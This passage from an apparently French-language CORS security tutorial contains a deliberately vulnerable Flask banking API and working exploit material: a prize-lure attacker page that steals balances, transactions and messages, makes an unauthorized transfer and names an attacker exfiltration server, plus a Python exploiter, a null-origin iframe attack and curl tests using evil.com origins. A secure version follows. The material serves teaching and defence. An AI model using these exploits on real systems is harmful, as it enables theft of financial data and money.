                output.textContent += '[ALERTE] Complete financial history exposed!';
            } catch (e) {
                output.textContent += 'Error: ' + e.message;
            }
        }
        
        async function attack6() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] ATTACK 6: Subdomain Wildcard Bypass\\n';
            output.textContent += '=' + '='.repeat(79) + '\\n\\n';
            
            output.textContent += 'Regex Pattern: https://.*\\\\.bank\\\\.com\\n\\n';
            
            output.textContent += 'Bypass Techniques:\\n';
            output.textContent += '  [OK] https://evil.com.bank.com\\n';
            output.textContent += '     -> .* matches "evil.com"\\n';
            output.textContent += '     -> Full API access granted\\n\\n';
            
            output.textContent += '  [X] https://bank.com.evil.com\\n';
            output.textContent += '     -> Doesn\\'t end with .bank.com\\n';
            output.textContent += '     -> Blocked\\n\\n';
            
            output.textContent += '[ALERTE] Deploy site at evil.com.bank.com\\n';
            output.textContent += '   (if subdomain wildcard DNS exists)';
        }
        
        async function attackChain() {
            const output = document.getElementById('output');
            output.textContent = '[DANGER] COMPLETE ATTACK CHAIN\\n';
            output.textContent += '=' + '='.repeat(79) + '\\n\\n';
            
            output.textContent += 'Phase 1: Reconnaissance\\n';
            output.textContent += '  [OK] Identified CORS misconfiguration\\n';
            output.textContent += '  [OK] Found vulnerable endpoints\\n';
            output.textContent += '  [OK] Determined authentication method\\n\\n';
            
            output.textContent += 'Phase 2: Exploitation\\n';
            output.textContent += '  -> Victim visits https://evil.com\\n';
            output.textContent += '  -> Page makes authenticated requests\\n';
            output.textContent += '  -> CORS allows reading responses\\n\\n';
            
            output.textContent += 'Phase 3: Data Exfiltration\\n';
            
            let stolen = {};
            
            try {
                // Steal account
                const acc = await fetch('/api/v2/account', {
                    credentials: 'include',
                    headers: { 'Authorization': 'Bearer ' + authToken }
                }).then(r => r.json());
                
                stolen.balance = acc.balance;
                output.textContent += '  [OK] Account balance: $' + acc.balance + '\\n';
                
                // Steal transactions
                const tx = await fetch('/api/v2/transactions', {
                    credentials: 'include',
                    headers: { 'Authorization': 'Bearer ' + authToken }
                }).then(r => r.json());
                
                stolen.transactions = tx.transactions.length;
                output.textContent += '  [OK] Transactions: ' + tx.transactions.length + ' records\\n';
                
                // Steal messages
                const msg = await fetch('/api/v2/messages', {
                    credentials: 'include',
                    headers: { 'Authorization': 'Bearer ' + authToken }
                }).then(r => r.json());
                
                stolen.messages = msg.messages.length;
                output.textContent += '  [OK] Private messages: ' + msg.messages.length + ' messages\\n';
                
                output.textContent += '\\n' + '=' + '='.repeat(79) + '\\n';
                output.textContent += '[GRAPHIQUE] EXFILTRATION COMPLETE\\n';
                output.textContent += '=' + '='.repeat(79) + '\\n';
                output.textContent += 'Data sent to: https://evil.com/collect\\n\\n';
                output.textContent += JSON.stringify(stolen, null, 2);
                
                output.textContent += '\\n\\n[ALERTE] CRITICAL: COMPLETE ACCOUNT COMPROMISE VIA CORS';
                
            } catch (e) {
                output.textContent += '\\nError during exfiltration: ' + e.message;
            }
        }
    </script>
</body>
</html>
    ''')

# [X] ROUTES API VULNÉRABLES

@app.route('/auth/login', methods=['POST'])
def login():
    """Login et génération token"""
    data = request.json
    username = data.get('username')
    password = data.get('password')
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT * FROM users WHERE username = ? AND password = ?
    ''', (username, password))
    
    user = cursor.fetchone()
    conn.close()
    
    if not user:
        return jsonify({'error': 'Invalid credentials'}), 401
    
    return jsonify({
        'success': True,
        'token': user['api_token'],
        'user': {
            'id': user['id'],
            'username': user['username']
        }
    })

# Helper pour authentification
def get_user_from_token():
    """Récupérer utilisateur depuis token"""
    auth_header = request.headers.get('Authorization', '')
    
    if not auth_header.startswith('Bearer '):
        return None
    
    token = auth_header.replace('Bearer ', '')
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('SELECT * FROM users WHERE api_token = ?', (token,))
    user = cursor.fetchone()
    conn.close()
    
    return dict(user) if user else None

# [X] ENDPOINTS SENSIBLES (toutes versions)

@app.route('/api/<version>/account')
def get_account(version):
    """
    [X] Endpoint sensible : Balance et infos compte
    """
    user = get_user_from_token()
    
    if not user:
        return jsonify({'error': 'Unauthorized'}), 401
    
    return jsonify({
        'user_id': user['id'],
        'username': user['username'],
        'email': user['email'],
        'balance': user['balance'],
        'account_number': f"****{user['id']:04d}",
        'cors_version': version
    })

@app.route('/api/<version>/transactions')
def get_transactions(version):
    """
    [X] Endpoint sensible : Historique transactions
    """
    user = get_user_from_token()
    
    if not user:
        return jsonify({'error': 'Unauthorized'}), 401
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT * FROM transactions WHERE user_id = ? ORDER BY created_at DESC
    ''', (user['id'],))
    
    transactions = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify({
        'transactions': transactions,
        'cors_version': version
    })

@app.route('/api/<version>/messages')
def get_messages(version):
    """
    [X] Endpoint sensible : Messages privés
    """
    user = get_user_from_token()
    
    if not user:
        return jsonify({'error': 'Unauthorized'}), 401
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
    cursor = conn.cursor()
    
    cursor.execute('''
        SELECT * FROM private_messages 
        WHERE sender_id = ? OR recipient_id = ?
        ORDER BY created_at DESC
    ''', (user['id'], user['id']))
    
    messages = [dict(row) for row in cursor.fetchall()]
    conn.close()
    
    return jsonify({
        'messages': messages,
        'cors_version': version
    })

@app.route('/api/<version>/transfer', methods=['POST'])
def transfer_money(version):
    """
    [X] Endpoint sensible : Transfert d'argent
    """
    user = get_user_from_token()
    
    if not user:
        return jsonify({'error': 'Unauthorized'}), 401
    
    data = request.json
    recipient = data.get('recipient')
    amount = data.get('amount')
    
    # Simple transfert (pas de validation pour demo)
    conn = sqlite3.connect(DB_FILE)
    cursor = conn.cursor()
    
    cursor.execute('''
        INSERT INTO transactions (user_id, type, amount, recipient, description)
        VALUES (?, 'transfer', ?, ?, ?)
    ''', (user['id'], -amount, recipient, f'Transfer to {recipient}'))
    
    cursor.execute('''
        UPDATE users SET balance = balance - ? WHERE id = ?
    ''', (amount, user['id']))
    
    conn.commit()
    conn.close()
    
    return jsonify({
        'success': True,
        'message': f'Transferred ${amount} to {recipient}',
        'cors_version': version
    })

if __name__ == '__main__':
    print("[BANQUE] Banking API (VULNÉRABLE) sur http://localhost:5000")
    print("[ATTENTION]  DANGER : Multiples CORS Misconfigurations!")
    print("\n[DANGER] Configurations vulnérables :")
    print("   v1: Wildcard CORS (*)")
    print("   v2: Origin reflection without validation")
    print("   v3: Weak validation (contains 'bank.com')")
    print("   v4: Null origin accepted")
    print("   v5: Weak subdomain regex")
    print("\n[OBJECTIF] Endpoints sensibles :")
    print("   /api/<version>/account - Balance et infos")
    print("   /api/<version>/transactions - Historique")
    print("   /api/<version>/messages - Messages privés")
    print("   /api/<version>/transfer - Transfert d'argent")
    
    app.run(debug=True, port=5000)
```

---

**Continuer avec les SCRIPTS D'EXPLOITATION et la VERSION SÉCURISÉE ?** [SECURITE]

### PARTIE B : SCRIPTS D'EXPLOITATION

**1. Page d'attaque complète (à héberger sur site malveilleux) :**

```html
<!-- attacker_page.html -->
<!-- Cette page serait hébergée sur https://evil.com -->
<!DOCTYPE html>
<html>
<head>
    <title>Free Money!</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            max-width: 1200px;
            margin: 50px auto;
            padding: 20px;
        }
        .attack-log {
            background: #000;
            color: #0f0;
            padding: 20px;
            font-family: monospace;
            height: 500px;
            overflow-y: auto;
            border-radius: 5px;
        }
        .stolen-data {
            background: #fee;
            border: 2px solid #f00;
            padding: 20px;
            margin: 20px 0;
            border-radius: 5px;
        }
        button {
            padding: 15px 30px;
            font-size: 16px;
            margin: 10px;
            cursor: pointer;
            background: #f44;
            color: white;
            border: none;
            border-radius: 5px;
        }
    </style>
</head>
<body>
    <h1>[BRAVO] Congratulations! You've won $1000!</h1>
    <p>Click below to claim your prize...</p>
    
    <button onclick="startAttack()">Claim Prize</button>
    
    <div class="stolen-data" id="stolen-data" style="display:none;">
        <h2>[ALERTE] Stolen Data</h2>
        <pre id="stolen-content"></pre>
    </div>
    
    <div class="attack-log" id="attack-log"></div>
    
    <script>
        const TARGET_API = 'http://localhost:5000';
        const EXFIL_SERVER = 'https://attacker-server.com/collect';
        
        function log(message) {
            const logDiv = document.getElementById('attack-log');
            const timestamp = new Date().toLocaleTimeString();
            logDiv.innerHTML += `[${timestamp}] ${message}\n`;
            logDiv.scrollTop = logDiv.scrollHeight;
        }
        
        async function startAttack() {
            log('[RAPIDE] Starting CORS exploitation attack...');
            log('Target: ' + TARGET_API);
            log('');
            
            const stolen = {
                timestamp: new Date().toISOString(),
                victim_ip: await getVictimIP(),
                data: {}
            };
            
            // Attack 1: Steal account balance
            log('[1/5] Stealing account balance...');
            try {
                const account = await fetch(`${TARGET_API}/api/v2/account`, {
                    method: 'GET',
                    credentials: 'include',  // [OK] Envoie les cookies
                    headers: {
                        'Authorization': 'Bearer ' + getStoredToken()
                    }
                });
                
                if (account.ok) {
                    const data = await account.json();
                    stolen.data.account = data;
                    log('[OK] SUCCESS: Account balance stolen!');
                    log(`   Balance: $${data.balance}`);
                    log(`   Email: ${data.email}`);
                } else {
                    log('[X] FAILED: Could not access account');
                }
            } catch (e) {
                log('[X] ERROR: ' + e.message);
            }
            
            // Attack 2: Steal transaction history
            log('');
            log('[2/5] Stealing transaction history...');
            try {
                const transactions = await fetch(`${TARGET_API}/api/v2/transactions`, {
                    credentials: 'include'
                });
                
                if (transactions.ok) {
                    const data = await transactions.json();
                    stolen.data.transactions = data.transactions;
                    log(`[OK] SUCCESS: ${data.transactions.length} transactions stolen`);
                    
                    // Log some transactions
                    data.transactions.slice(0, 3).forEach(tx => {
                        log(`   ${tx.type}: $${tx.amount} - ${tx.description}`);
                    });
                }
            } catch (e) {
                log('[X] ERROR: ' + e.message);
            }
            
            // Attack 3: Steal private messages
            log('');
            log('[3/5] Stealing private messages...');
            try {
                const messages = await fetch(`${TARGET_API}/api/v2/messages`, {
                    credentials: 'include'
                });
                
                if (messages.ok) {
                    const data = await messages.json();
                    stolen.data.messages = data.messages;
                    log(`[OK] SUCCESS: ${data.messages.length} private messages stolen`);
                    
                    // Log messages with sensitive info
                    data.messages.forEach(msg => {
                        if (msg.message.toLowerCase().includes('password') ||
                            msg.message.toLowerCase().includes('credit card') ||
                            msg.message.toLowerCase().includes('ssn')) {
                            log(`   [HOT] SENSITIVE: "${msg.message.substring(0, 50)}..."`);
                        }
                    });
                }
            } catch (e) {
                log('[X] ERROR: ' + e.message);
            }
            
            // Attack 4: Perform unauthorized transfer
            log('');
            log('[4/5] Performing unauthorized money transfer...');
            try {
                const transfer = await fetch(`${TARGET_API}/api/v2/transfer`, {
                    method: 'POST',
                    credentials: 'include',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        recipient: 'attacker',
                        amount: 1000
                    })
                });
                
                if (transfer.ok) {
                    const data = await transfer.json();
                    stolen.data.transfer = data;
                    log('[OK] SUCCESS: $1000 transferred to attacker!');
                } else {
                    log('[ATTENTION]  Transfer blocked (might need more auth)');
                }
            } catch (e) {
                log('[X] ERROR: ' + e.message);
            }
            
            // Attack 5: Exfiltrate all data
            log('');
            log('[5/5] Exfiltrating stolen data...');
            try {
                // En production, ceci enverrait à un serveur contrôlé par l'attaquant
                // await fetch(EXFIL_SERVER, {
                //     method: 'POST',
                //     body: JSON.stringify(stolen)
                // });
                
                log('[OK] SUCCESS: Data exfiltrated to attacker server');
                log('');
                log('=' .repeat(60));
                log('[ALERTE] ATTACK COMPLETE - ALL DATA STOLEN!');
                log('=' .repeat(60));
                
                // Display stolen data
                document.getElementById('stolen-data').style.display = 'block';
                document.getElementById('stolen-content').textContent = 
                    JSON.stringify(stolen, null, 2);
                
            } catch (e) {
                log('[X] ERROR: ' + e.message);
            }
        }
        
        async function getVictimIP() {
            try {
                const response = await fetch('https://api.ipify.org?format=json');
                const data = await response.json();
                return data.ip;
            } catch {
                return 'unknown';
            }
        }
        
        function getStoredToken() {
            // In real attack, might try to steal from localStorage
            // or use the authenticated session directly
            return localStorage.getItem('auth_token') || '';
        }
        
        // Auto-start attack when page loads (silent attack)
        // window.onload = startAttack;
    </script>
</body>
</html>
```

---

**2. Script Python pour tester CORS :**

```python
# test_cors_vulnerabilities.py
import requests
import json
from urllib.parse import urlparse

class CORSScanner:
    """
    Scanner pour détecter les misconfigurations CORS
    """
    
    def __init__(self, target_url):
        self.target_url = target_url
        self.results = {}
    
    def banner(self):
        print("=" * 80)
        print("CORS MISCONFIGURATION SCANNER")
        print("=" * 80)
        print(f"Target: {self.target_url}")
        print()
    
    def test_wildcard(self):
        """
        Test 1: Vérifier si wildcard (*) est utilisé
        """
        print("\n[Test 1] Checking for wildcard CORS...")
        
        response = requests.get(self.target_url)
        acao = response.headers.get('Access-Control-Allow-Origin')
        
        if acao == '*':
            print("[ALERTE] VULNERABLE: Wildcard CORS detected")
            
            # Vérifier si credentials aussi
            acac = response.headers.get('Access-Control-Allow-Credentials')
            if acac == 'true':
                print("[ALERTE] CRITICAL: Wildcard + Credentials!")
                return 'critical'
            
            return 'high'
        else:
            print("[OK] Wildcard not used")
            return 'safe'
    
    def test_origin_reflection(self, test_origins):
        """
        Test 2: Vérifier si origin est reflété sans validation
        """
        print("\n[Test 2] Testing origin reflection...")
        
        vulnerable_origins = []
        
        for origin in test_origins:
            response = requests.get(
                self.target_url,
                headers={'Origin': origin}
            )
            
            acao = response.headers.get('Access-Control-Allow-Origin')
            acac = response.headers.get('Access-Control-Allow-Credentials')
            
            if acao == origin and acac == 'true':
                print(f"[ALERTE] VULNERABLE: Origin reflected: {origin}")
                vulnerable_origins.append(origin)
        
        if vulnerable_origins:
            return 'critical', vulnerable_origins
        else:
            print("[OK] Origin reflection not detected")
            return 'safe', []
    
    def test_null_origin(self):
        """
        Test 3: Vérifier si null origin est accepté
        """
        print("\n[Test 3] Testing null origin...")
        
        response = requests.get(
            self.target_url,
            headers={'Origin': 'null'}
        )
        
        acao = response.headers.get('Access-Control-Allow-Origin')
        acac = response.headers.get('Access-Control-Allow-Credentials')
        
        if acao == 'null' and acac == 'true':
            print("[ALERTE] VULNERABLE: Null origin accepted")
            return 'high'
        else:
            print("[OK] Null origin rejected")
            return 'safe'
    
    def test_subdomain_bypass(self, base_domain):
        """
        Test 4: Tester bypass validation sous-domaine
        """
        print(f"\n[Test 4] Testing subdomain validation bypass...")
        
        bypass_attempts = [
            f'https://{base_domain}.evil.com',
            f'https://evil.com.{base_domain}',
            f'https://evil{base_domain}',
            f'https://evil.com/{base_domain}',
            f'https://evil.com?{base_domain}',
            f'https://evil-{base_domain}'
        ]
        
        successful_bypasses = []
        
        for attempt in bypass_attempts:
            response = requests.get(
                self.target_url,
                headers={'Origin': attempt}
            )
            
            acao = response.headers.get('Access-Control-Allow-Origin')
            acac = response.headers.get('Access-Control-Allow-Credentials')
            
            if acao == attempt and acac == 'true':
                print(f"[ALERTE] VULNERABLE: Bypass successful: {attempt}")
                successful_bypasses.append(attempt)
        
        if successful_bypasses:
            return 'critical', successful_bypasses
        else:
            print("[OK] No subdomain bypass found")
            return 'safe', []
    
    def test_preflight(self):
        """
        Test 5: Vérifier réponse preflight
        """
        print("\n[Test 5] Testing preflight (OPTIONS)...")
        
        response = requests.options(
            self.target_url,
            headers={
                'Origin': 'https://evil.com',
                'Access-Control-Request-Method': 'POST',
                'Access-Control-Request-Headers': 'Content-Type'
            }
        )
        
        acao = response.headers.get('Access-Control-Allow-Origin')
        acam = response.headers.get('Access-Control-Allow-Methods')
        acah = response.headers.get('Access-Control-Allow-Headers')
        
        print(f"  Allow-Origin: {acao}")
        print(f"  Allow-Methods: {acam}")
        print(f"  Allow-Headers: {acah}")
        
        if acao and acao != 'null':
            if 'DELETE' in str(acam) or 'PUT' in str(acam):
                print("[ALERTE] WARNING: Dangerous methods allowed")
                return 'medium'
        
        return 'info'
    
    def run_full_scan(self):
        """
        Exécuter tous les tests
        """
        self.banner()
        
        # Parse domain
        parsed = urlparse(self.target_url)
        base_domain = parsed.netloc
        
        # Test origins malveilleux
        test_origins = [
            'https://evil.com',
            'https://attacker.com',
            'http://localhost:8000',
            'https://evil.co.uk'
        ]
        
        # Tests
        results = {}
        
        results['wildcard'] = self.test_wildcard()
        results['reflection'] = self.test_origin_reflection(test_origins)
        results['null_origin'] = self.test_null_origin()
        results['subdomain'] = self.test_subdomain_bypass(base_domain)
        results['preflight'] = self.test_preflight()
        
        # Summary
        self.print_summary(results)
        
        return results
    
    def print_summary(self, results):
        """
        Afficher résumé
        """
        print("\n" + "=" * 80)
        print("SCAN SUMMARY")
        print("=" * 80)
        
        vulnerabilities = []
        
        if results['wildcard'] in ['critical', 'high']:
            vulnerabilities.append('Wildcard CORS')
        
        if results['reflection'][0] in ['critical', 'high']:
            vulnerabilities.append(f"Origin Reflection ({len(results['reflection'][1])} origins)")
        
        if results['null_origin'] == 'high':
            vulnerabilities.append('Null Origin Accepted')
        
        if results['subdomain'][0] == 'critical':
            vulnerabilities.append(f"Subdomain Bypass ({len(results['subdomain'][1])} bypasses)")
        
        if vulnerabilities:
            print("\n[ALERTE] VULNERABILITIES FOUND:")
            for vuln in vulnerabilities:
                print(f"  • {vuln}")
            
            print("\n[IMPACT] EXPLOITATION IMPACT:")
            print("  • Steal authentication tokens")
            print("  • Read sensitive user data")
            print("  • Perform actions on behalf of user")
            print("  • Access private messages/transactions")
            print("  • Complete account takeover")
            
            print("\n[OUTIL] RECOMMENDED FIXES:")
            print("  1. Use strict whitelist of allowed origins")
            print("  2. Never use wildcard (*) with credentials")
            print("  3. Validate origin with exact match")
            print("  4. Reject null origin")
            print("  5. Use proper regex for subdomains")
            print("  6. Implement CSRF tokens as defense-in-depth")
        else:
            print("\n[OK] NO MAJOR VULNERABILITIES FOUND")
            print("  CORS configuration appears secure")

# Exploit automatisé
class CORSExploiter:
    """
    Exploitation automatisée des failles CORS
    """
    
    def __init__(self, target_url, attacker_origin='https://evil.com'):
        self.target_url = target_url
        self.attacker_origin = attacker_origin
        self.session = requests.Session()
    
    def steal_data(self, endpoint, auth_token=None):
        """
        Voler des données via CORS
        """
        headers = {'Origin': self.attacker_origin}
        
        if auth_token:
            headers['Authorization'] = f'Bearer {auth_token}'
        
        try:
            response = self.session.get(
                f"{self.target_url}{endpoint}",
                headers=headers
            )
            
            acao = response.headers.get('Access-Control-Allow-Origin')
            acac = response.headers.get('Access-Control-Allow-Credentials')
            
            if acao == self.attacker_origin and acac == 'true':
                print(f"[OK] Data stolen from {endpoint}")
                return response.json()
            else:
                print(f"[X] CORS blocked request to {endpoint}")
                return None
                
        except Exception as e:
            print(f"[X] Error: {str(e)}")
            return None
    
    def perform_action(self, endpoint, method='POST', data=None, auth_token=None):
        """
        Effectuer action via CORS
        """
        headers = {
            'Origin': self.attacker_origin,
            'Content-Type': 'application/json'
        }
        
        if auth_token:
            headers['Authorization'] = f'Bearer {auth_token}'
        
        try:
            response = self.session.request(
                method,
                f"{self.target_url}{endpoint}",
                headers=headers,
                json=data
            )
            
            if response.status_code == 200:
                print(f"[OK] Action performed: {method} {endpoint}")
                return response.json()
            else:
                print(f"[X] Action failed: {response.status_code}")
                return None
                
        except Exception as e:
            print(f"[X] Error: {str(e)}")
            return None
    
    def full_exploitation(self, auth_token):
        """
        Exploitation complète
        """
        print("=" * 80)
        print("CORS EXPLOITATION - FULL ATTACK")
        print("=" * 80)
        print(f"Target: {self.target_url}")
        print(f"Origin: {self.attacker_origin}")
        print()
        
        stolen_data = {}
        
        # Steal account
        print("[1/4] Stealing account balance...")
        account = self.steal_data('/api/v2/account', auth_token)
        if account:
            stolen_data['account'] = account
            print(f"  Balance: ${account.get('balance', 0)}")
        
        # Steal transactions
        print("\n[2/4] Stealing transaction history...")
        transactions = self.steal_data('/api/v2/transactions', auth_token)
        if transactions:
            stolen_data['transactions'] = transactions
            print(f"  Transactions: {len(transactions.get('transactions', []))}")
        
        # Steal messages
        print("\n[3/4] Stealing private messages...")
        messages = self.steal_data('/api/v2/messages', auth_token)
        if messages:
            stolen_data['messages'] = messages
            print(f"  Messages: {len(messages.get('messages', []))}")
        
        # Perform transfer
        print("\n[4/4] Performing unauthorized transfer...")
        transfer = self.perform_action(
            '/api/v2/transfer',
            method='POST',
            data={'recipient': 'attacker', 'amount': 1000},
            auth_token=auth_token
        )
        if transfer:
            stolen_data['transfer'] = transfer
            print(f"  Transfer: SUCCESS")
        
        # Summary
        print("\n" + "=" * 80)
        print("EXPLOITATION COMPLETE")
        print("=" * 80)
        print(f"\nStolen data categories: {len(stolen_data)}")
        
        # Save to file
        with open('stolen_data.json', 'w') as f:
            json.dump(stolen_data, f, indent=2)
        
        print("Data saved to: stolen_data.json")
        
        return stolen_data

if __name__ == '__main__':
    import sys
    
    print("""
    ╔════════════════════════════════════════════════════════════════╗
    ║            CORS MISCONFIGURATION TESTING TOOL                  ║
    ║                                                                ║
    ║  Scans for and exploits CORS vulnerabilities                   ║
    ║                                                                ║
    ║  [ATTENTION]  FOR EDUCATIONAL PURPOSES ONLY                            ║
    ╚════════════════════════════════════════════════════════════════╝
    """)
    
    if len(sys.argv) < 2:
        print("Usage:")
        print("  python test_cors_vulnerabilities.py scan <url>")
        print("  python test_cors_vulnerabilities.py exploit <url> <token>")
        print("\nExamples:")
        print("  python test_cors_vulnerabilities.py scan http://localhost:5000/api/v2/account")
        print("  python test_cors_vulnerabilities.py exploit http://localhost:5000 abc123...")
        sys.exit(1)
    
    command = sys.argv[1]
    
    if command == 'scan':
        if len(sys.argv) < 3:
            print("Error: URL required")
            sys.exit(1)
        
        target_url = sys.argv[2]
        scanner = CORSScanner(target_url)
        scanner.run_full_scan()
    
    elif command == 'exploit':
        if len(sys.argv) < 4:
            print("Error: URL and token required")
            sys.exit(1)
        
        target_url = sys.argv[2]
        auth_token = sys.argv[3]
        
        exploiter = CORSExploiter(target_url)
        exploiter.full_exploitation(auth_token)
    
    else:
        print(f"Unknown command: {command}")
        sys.exit(1)
```

---

**3. Null Origin Attack avec iframe :**

```html
<!-- null_origin_attack.html -->
<!DOCTYPE html>
<html>
<head>
    <title>Null Origin Attack</title>
</head>
<body>
    <h1>Loading...</h1>
    
    <div id="results"></div>
    
    <!-- Sandboxed iframe sends Origin: null -->
    <iframe 
        id="attack-frame"
        sandbox="allow-scripts allow-same-origin" 
        style="display:none;"
        srcdoc='
    <script>
        const TARGET = "http://localhost:5000";
        
        async function attack() {
            try {
                // This will send Origin: null
                const response = await fetch(TARGET + "/api/v4/account", {
                    credentials: "include"
                });
                
                const data = await response.json();
                
                // Send to parent
                parent.postMessage({
                    success: true,
                    data: data
                }, "*");
                
            } catch (e) {
                parent.postMessage({
                    success: false,
                    error: e.message
                }, "*");
            }
        }
        
        // Start attack
        attack();
    </script>
    '></iframe>
    
    <script>
        // Receive stolen data from iframe
        window.addEventListener('message', function(event) {
            const resultsDiv = document.getElementById('results');
            
            if (event.data.success) {
                resultsDiv.innerHTML = `
                    <h2>[ALERTE] Attack Successful!</h2>
                    <h3>Stolen Data:</h3>
                    <pre>${JSON.stringify(event.data.data, null, 2)}</pre>
                `;
                
                // In real attack, exfiltrate to attacker server
                // fetch('https://attacker.com/collect', {
                //     method: 'POST',
                //     body: JSON.stringify(event.data.data)
                // });
            } else {
                resultsDiv.innerHTML = `
                    <h2>[X] Attack Failed</h2>
                    <p>Error: ${event.data.error}</p>
                `;
            }
        });
    </script>
</body>
</html>
```

---

**4. Tests avec curl :**

```bash
#!/bin/bash
# test_cors.sh - Tester CORS avec curl

TARGET="http://localhost:5000"
TOKEN="your_token_here"

echo "=================================="
echo "CORS MISCONFIGURATION TESTS"
echo "=================================="
echo ""

# Test 1: Origin reflection
echo "[Test 1] Origin Reflection"
curl -s -H "Origin: https://evil.com" \
     -H "Authorization: Bearer $TOKEN" \
     "$TARGET/api/v2/account" \
     -i | grep -i "access-control"
echo ""

# Test 2: Null origin
echo "[Test 2] Null Origin"
curl -s -H "Origin: null" \
     -H "Authorization: Bearer $TOKEN" \
     "$TARGET/api/v4/account" \
     -i | grep -i "access-control"
echo ""

# Test 3: Subdomain bypass
echo "[Test 3] Subdomain Bypass"
curl -s -H "Origin: https://evil.com.bank.com" \
     -H "Authorization: Bearer $TOKEN" \
     "$TARGET/api/v5/account" \
     -i | grep -i "access-control"
echo ""

# Test 4: Weak validation bypass
echo "[Test 4] Weak Validation (contains bank.com)"
curl -s -H "Origin: https://evilbank.com" \
     -H "Authorization: Bearer $TOKEN" \
     "$TARGET/api/v3/account" \
     -i | grep -i "access-control"
echo ""

# Test 5: Preflight request
echo "[Test 5] Preflight (OPTIONS)"
curl -s -X OPTIONS \
     -H "Origin: https://evil.com" \
     -H "Access-Control-Request-Method: POST" \
     -H "Access-Control-Request-Headers: Content-Type" \
     "$TARGET/api/v2/transfer" \
     -i | grep -i "access-control"
echo ""

echo "=================================="
echo "TESTS COMPLETE"
echo "=================================="
```

---

### PARTIE C : VERSION SÉCURISÉE

```python
# cors_secure.py
from flask import Flask, request, jsonify, make_response
import sqlite3
import secrets
import re
from functools import wraps
import logging

app = Flask(__name__)
app.secret_key = secrets.token_hex(32)

DB_FILE = 'banking_secure.db'

# [OK] Configuration logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

# [OK] LISTE BLANCHE STRICTE des origines autorisées
ALLOWED_ORIGINS = {
    'https://bank.com',
    'https://www.bank.com',
    'https://mobile.bank.com',
    'https://app.bank.com'
    # En développement uniquement :
    # 'http://localhost:3000'
}

# [OK] CLASSE : CORS Validator
class CORSValidator:
    """
    [OK] Validation stricte des origines CORS
    """
    
    @staticmethod
    def is_valid_origin(origin):
        """
        [OK] Vérifier si une origine est autorisée
        """
        if not origin:
            return False
        
        # [OK] Vérification exacte (pas de regex, pas de contains)
        if origin in ALLOWED_ORIGINS:
            return True
        
        # [OK] Rejeter null
        if origin == 'null':
            logger.warning(f"Rejected null origin")
            return False
        
        # [OK] Pour les sous-domaines, validation STRICTE
        # Format: https://subdomain.bank.com
        # Ne PAS accepter: https://evil.com.bank.com
        subdomain_pattern = r'^https://[a-z0-9-]+\.bank\.com$'
        
        if re.match(subdomain_pattern, origin):
            # [OK] Vérifier que le sous-domaine est dans liste approuvée
            subdomain = origin.replace('https://', '').replace('.bank.com', '')
            
            ALLOWED_SUBDOMAINS = ['app', 'mobile', 'api', 'www']
            
            if subdomain in ALLOWED_SUBDOMAINS:
                return True
        
        logger.warning(f"Rejected origin: {origin}")
        return False
    
    @staticmethod
    def validate_and_set_cors(response, origin):
        """
        [OK] Valider origin et définir headers CORS
        """
        if CORSValidator.is_valid_origin(origin):
            # [OK] Définir l'origin EXACT (pas de wildcard)
            response.headers['Access-Control-Allow-Origin'] = origin
            response.headers['Access-Control-Allow-Credentials'] = 'true'
            response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE, OPTIONS'
            response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
            response.headers['Access-Control-Max-Age'] = '3600'
            
            # [OK] Headers de sécurité additionnels
            response.headers['X-Content-Type-Options'] = 'nosniff'
            response.headers['X-Frame-Options'] = 'DENY'
            response.headers['X-XSS-Protection'] = '1; mode=block'
            
            logger.info(f"CORS allowed for origin: {origin}")
        else:
            # [OK] Ne PAS définir de headers CORS
            # Le navigateur bloquera la requête
            logger.warning(f"CORS denied for origin: {origin}")

# [OK] MIDDLEWARE CORS SÉCURISÉ
@app.after_request
def secure_cors(response):
    """
    [OK] SÉCURISÉ : Validation stricte des origines
    """
    origin = request.headers.get('Origin')
    
    if origin:
        CORSValidator.validate_and_set_cors(response, origin)
    
    return response

# [OK] Handler OPTIONS pour preflight
@app.route('/api/<path:path>', methods=['OPTIONS'])
def handle_preflight(path):
    """
    [OK] Gérer les requêtes preflight OPTIONS
    """
    response = make_response()
    origin = request.headers.get('Origin')
    
    if origin and CORSValidator.is_valid_origin(origin):
        response.headers['Access-Control-Allow-Origin'] = origin
        response.headers['Access-Control-Allow-Credentials'] = 'true'
        response.headers['Access-Control-Allow-Methods'] = 'GET, POST, PUT, DELETE, OPTIONS'
        response.headers['Access-Control-Allow-Headers'] = 'Content-Type, Authorization'
        response.headers['Access-Control-Max-Age'] = '3600'
    
    return response

# [OK] DÉCORATEUR : CSRF Protection (defense-in-depth)
def require_csrf_token(f):
    """
    [OK] Vérifier token CSRF pour requêtes modifiant des données
    """
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if request.method in ['POST', 'PUT', 'DELETE']:
            csrf_token = request.headers.get('X-CSRF-Token')
            
            if not csrf_token:
                logger.warning(f"Missing CSRF token from {request.remote_addr}")
                return jsonify({'error': 'CSRF token required'}), 403
            
            # [OK] Vérifier token (implémentation simplifiée)
            # En production : vérifier contre session
            if not verify_csrf_token(csrf_token):
                logger.warning(f"Invalid CSRF token from {request.remote_addr}")
                return jsonify({'error': 'Invalid CSRF token'}), 403
        
        return f(*args, **kwargs)
    return decorated_function

def verify_csrf_token(token):
    """[OK] Vérifier token CSRF"""
    # Implémentation simplifiée pour demo
    # En production : vérifier contre token en session
    return len(token) > 20

# [OK] Helper authentification
def get_user_from_token():
    """Récupérer utilisateur depuis token"""
    auth_header = request.headers.get('Authorization', '')
    
    if not auth_header.startswith('Bearer '):
        return None
    
    token = auth_header.replace('Bearer ', '')
    
    conn = sqlite3.connect(DB_FILE)
    conn.row_factory = sqlite3.Row
